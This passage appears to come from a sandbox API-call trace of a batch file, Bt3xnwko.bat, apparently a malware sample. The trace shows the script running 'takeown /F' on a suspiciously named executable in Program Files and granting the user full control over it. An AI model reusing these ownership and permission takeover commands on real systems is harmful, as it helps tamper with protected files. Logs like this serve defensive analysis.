lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0x624590 [0106.691] FindClose (in: hFindFile=0x624590 | out: hFindFile=0x624590) returned 1 [0106.691] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0xffffffff [0106.691] GetLastError () returned 0x2 [0106.691] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x20f1ec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f1ec) returned 0x624590 [0106.691] FindClose (in: hFindFile=0x624590 | out: hFindFile=0x624590) returned 1 [0106.691] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0106.691] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0106.691] GetConsoleTitleW (in: lpConsoleTitle=0x20f23c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0106.816] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x624d38, lpFilePart=0x20ed5c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20ed5c*="Desktop") returned 0x25 [0106.816] SetErrorMode (uMode=0x0) returned 0x1 [0106.816] GetProcessHeap () returned 0x610000 [0106.816] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x624d30, Size=0x64) returned 0x624d30 [0106.817] GetProcessHeap () returned 0x610000 [0106.817] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624d30) returned 0x64 [0106.817] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0106.817] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0106.817] GetProcessHeap () returned 0x610000 [0106.817] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x120) returned 0x624858 [0106.817] GetProcessHeap () returned 0x610000 [0106.817] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x238) returned 0x624980 [0106.817] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.817] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0xffffffff [0106.817] GetLastError () returned 0x2 [0106.817] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0xffffffff [0106.817] GetLastError () returned 0x2 [0106.817] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.818] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0x624b30 [0106.818] FindClose (in: hFindFile=0x624b30 | out: hFindFile=0x624b30) returned 1 [0106.818] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0xffffffff [0106.818] GetLastError () returned 0x2 [0106.818] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x20ead8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ead8) returned 0x624b30 [0106.818] FindClose (in: hFindFile=0x624b30 | out: hFindFile=0x624b30) returned 1 [0106.818] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0106.818] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0106.818] GetConsoleTitleW (in: lpConsoleTitle=0x20efd0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0106.819] InitializeProcThreadAttributeList (in: lpAttributeList=0x20ee58, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20ef20 | out: lpAttributeList=0x20ee58, lpSize=0x20ef20) returned 1 [0106.819] UpdateProcThreadAttribute (in: lpAttributeList=0x20ee58, dwFlags=0x0, Attribute=0x60001, lpValue=0x20ef18, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20ee58, lpPreviousValue=0x0) returned 1 [0106.819] GetStartupInfoW (in: lpStartupInfo=0x20ee14 | out: lpStartupInfo=0x20ee14*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0106.819] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0106.819] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x20eeb4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20ef00 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"", lpProcessInformation=0x20ef00*(hProcess=0x78, hThread=0x74, dwProcessId=0xebc, dwThreadId=0xec0)) returned 1 [0106.831] CloseHandle (hObject=0x74) returned 1 [0106.831] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0106.831] GetProcessHeap () returned 0x610000 [0106.831] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6281b0 | out: hHeap=0x610000) returned 1 [0106.831] GetEnvironmentStringsW () returned 0x625fc8* [0106.832] GetProcessHeap () returned 0x610000 [0106.832] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb5c) returned 0x6281b0 [0106.832] FreeEnvironmentStringsW (penv=0x625fc8) returned 1 [0106.832] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0107.486] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x20edf4 | out: lpExitCode=0x20edf4*=0x0) returned 1 [0107.486] CloseHandle (hObject=0x78) returned 1 [0107.486] _vsnwprintf (in: _Buffer=0x20ef3c, _BufferCount=0x13, _Format="%08X", _ArgList=0x20ee00 | out: _Buffer="00000000") returned 8 [0107.486] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0107.486] GetProcessHeap () returned 0x610000 [0107.487] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6281b0 | out: hHeap=0x610000) returned 1 [0107.487] GetEnvironmentStringsW () returned 0x625fc8* [0107.488] GetProcessHeap () returned 0x610000 [0107.488] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb5c) returned 0x6281b0 [0107.488] FreeEnvironmentStringsW (penv=0x625fc8) returned 1 [0107.488] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0107.488] GetProcessHeap () returned 0x610000 [0107.488] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6281b0 | out: hHeap=0x610000) returned 1 [0107.489] GetEnvironmentStringsW () returned 0x625fc8* [0107.489] GetProcessHeap () returned 0x610000 [0107.489] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb5c) returned 0x6281b0 [0107.489] FreeEnvironmentStringsW (penv=0x625fc8) returned 1 [0107.489] GetProcessHeap () returned 0x610000 [0107.489] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610e20 | out: hHeap=0x610000) returned 1 [0107.489] DeleteProcThreadAttributeList (in: lpAttributeList=0x20ee58 | out: lpAttributeList=0x20ee58) [0107.489] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.489] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0107.490] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.490] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0107.491] _get_osfhandle (_FileHandle=0) returned 0x3 [0107.491] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0107.492] SetConsoleInputExeNameW () returned 0x1 [0107.492] GetConsoleOutputCP () returned 0x1b5 [0107.493] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0107.493] SetThreadUILanguage (LangId=0x0) returned 0x409 [0107.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x20f674, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0107.496] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0107.496] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.496] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624ab0 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624980 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624858 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624d30 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6247a8 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624590 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624510 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6243e0 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6242b8 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624248 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6241a8 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6112a0 | out: hHeap=0x610000) returned 1 [0107.497] GetProcessHeap () returned 0x610000 [0107.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x611240 | out: hHeap=0x610000) returned 1 [0107.497] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.497] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0107.497] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x20f658, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x20f658*=0xb3, lpOverlapped=0x0) returned 1 [0107.498] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0107.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0107.499] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.499] GetFileType (hFile=0x78) returned 0x1 [0107.499] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.499] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0107.499] GetProcessHeap () returned 0x610000 [0107.499] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x634be0 [0107.499] GetProcessHeap () returned 0x610000 [0107.499] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x8e) returned 0x6241a8 [0107.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe", nBufferLength=0x208, lpBuffer=0x20ede8, lpFilePart=0x20ede0 | out: lpBuffer="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe", lpFilePart=0x20ede0*="trademarksnominationbrighton.exe") returned 0x41 [0107.499] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x20eafc | out: lpFindFileData=0x20eafc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x611240 [0107.500] FindClose (in: hFindFile=0x611240 | out: hFindFile=0x611240) returned 1 [0107.500] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0107.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal", lpFindFileData=0x20eafc | out: lpFindFileData=0x20eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 0x611240 [0107.500] FindClose (in: hFindFile=0x611240 | out: hFindFile=0x611240) returned 1 [0107.500] _wcsnicmp (_String1="WI0FCF~1", _String2="Windows Journal", _MaxCount=0xf) returned -62 [0107.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe", lpFindFileData=0x20eafc | out: lpFindFileData=0x20eafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfedd7bb0, ftCreationTime.dwHighDateTime=0x1d5b7d6, ftLastAccessTime.dwLowDateTime=0x37e50fb0, ftLastAccessTime.dwHighDateTime=0x1d58c3d, ftLastWriteTime.dwLowDateTime=0x37e50fb0, ftLastWriteTime.dwHighDateTime=0x1d58c3d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trademarksnominationbrighton.exe", cAlternateFileName="TRADEM~1.EXE")) returned 0x611240 [0107.500] FindClose (in: hFindFile=0x611240 | out: hFindFile=0x611240) returned 1 [0107.500] _wcsnicmp (_String1="TRADEM~1.EXE", _String2="trademarksnominationbrighton.exe", _MaxCount=0x20) returned 29 [0107.500] GetProcessHeap () returned 0x610000 [0107.500] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4a) returned 0x611240 [0107.500] GetProcessHeap () returned 0x610000 [0107.500] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x634be0 | out: hHeap=0x610000) returned 1 [0107.501] _tell (_FileHandle=3) returned 63 [0107.501] _close (_FileHandle=3) returned 0 [0107.501] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f42c | out: _Buffer="\r\n") returned 2 [0107.501] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.501] GetFileType (hFile=0x7) returned 0x2 [0107.502] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.503] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3ec | out: lpMode=0x20f3ec) returned 1 [0107.503] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.503] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f418, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f418*=0x2) returned 1 [0107.507] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0107.508] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0107.508] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f428 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0107.508] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f428 | out: _Buffer=">") returned 1 [0107.508] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.508] GetFileType (hFile=0x7) returned 0x2 [0107.510] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.510] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3f0 | out: lpMode=0x20f3f0) returned 1 [0107.512] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.512] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x20f41c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x20f41c*=0x26) returned 1 [0107.514] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.514] GetFileType (hFile=0x7) returned 0x2 [0107.516] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.516] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f674 | out: lpMode=0x20f674) returned 1 [0107.519] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.519] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x610e28*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x20f6a0, lpReserved=0x0 | out: lpBuffer=0x610e28*, lpNumberOfCharsWritten=0x20f6a0*=0x3) returned 1 [0107.522] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x20f6ac | out: _Buffer=" FN=\"trademarksnominationbrighton.exe\" ") returned 39 [0107.522] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.522] GetFileType (hFile=0x7) returned 0x2 [0107.531] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.531] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f66c | out: lpMode=0x20f66c) returned 1 [0107.532] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.532] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x20f698, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f698*=0x27) returned 1 [0107.533] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f6cc | out: _Buffer="\r\n") returned 2 [0107.533] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.533] GetFileType (hFile=0x7) returned 0x2 [0107.533] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.533] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f68c | out: lpMode=0x20f68c) returned 1 [0107.534] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.534] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f6b8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f6b8*=0x2) returned 1 [0107.535] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0107.535] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0107.535] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0107.535] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0107.535] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0107.535] _wcsicmp (_String1="set", _String2="CD") returned 16 [0107.535] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0107.535] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0107.535] _wcsicmp (_String1="set", _String2="REN") returned 1 [0107.535] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0107.535] _wcsicmp (_String1="set", _String2="SET") returned 0 [0107.535] GetConsoleTitleW (in: lpConsoleTitle=0x20f23c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0107.536] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0107.536] SetEnvironmentVariableW (lpName="FN", lpValue="\"trademarksnominationbrighton.exe\"") returned 1 [0107.536] GetProcessHeap () returned 0x610000 [0107.536] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6281b0 | out: hHeap=0x610000) returned 1 [0107.536] GetEnvironmentStringsW () returned 0x626b78* [0107.536] GetProcessHeap () returned 0x610000 [0107.536] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xba8) returned 0x627728 [0107.536] FreeEnvironmentStringsW (penv=0x626b78) returned 1 [0107.536] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.536] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0107.536] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.536] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0107.537] _get_osfhandle (_FileHandle=0) returned 0x3 [0107.537] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0107.537] SetConsoleInputExeNameW () returned 0x1 [0107.537] GetConsoleOutputCP () returned 0x1b5 [0107.537] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0107.537] SetThreadUILanguage (LangId=0x0) returned 0x409 [0107.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x20f674, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0107.538] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0107.538] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.538] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0107.538] GetProcessHeap () returned 0x610000 [0107.538] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624360 | out: hHeap=0x610000) returned 1 [0107.538] GetProcessHeap () returned 0x610000 [0107.538] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624300 | out: hHeap=0x610000) returned 1 [0107.538] GetProcessHeap () returned 0x610000 [0107.538] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6242a0 | out: hHeap=0x610000) returned 1 [0107.538] GetProcessHeap () returned 0x610000 [0107.538] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610e20 | out: hHeap=0x610000) returned 1 [0107.538] GetProcessHeap () returned 0x610000 [0107.538] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624240 | out: hHeap=0x610000) returned 1 [0107.538] GetProcessHeap () returned 0x610000 [0107.538] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x611240 | out: hHeap=0x610000) returned 1 [0107.538] GetProcessHeap () returned 0x610000 [0107.538] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6241a8 | out: hHeap=0x610000) returned 1 [0107.538] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.538] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0107.538] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x20f658, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x20f658*=0xa3, lpOverlapped=0x0) returned 1 [0107.538] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0107.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0107.539] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.539] GetFileType (hFile=0x78) returned 0x1 [0107.539] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.539] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0107.539] GetProcessHeap () returned 0x610000 [0107.539] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x634be0 [0107.539] GetProcessHeap () returned 0x610000 [0107.539] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x70) returned 0x611240 [0107.539] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x20ede8, lpFilePart=0x20ede0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x20ede0*="Bt3xnwko.bat") returned 0x32 [0107.539] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20eafc | out: lpFindFileData=0x20eafc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) 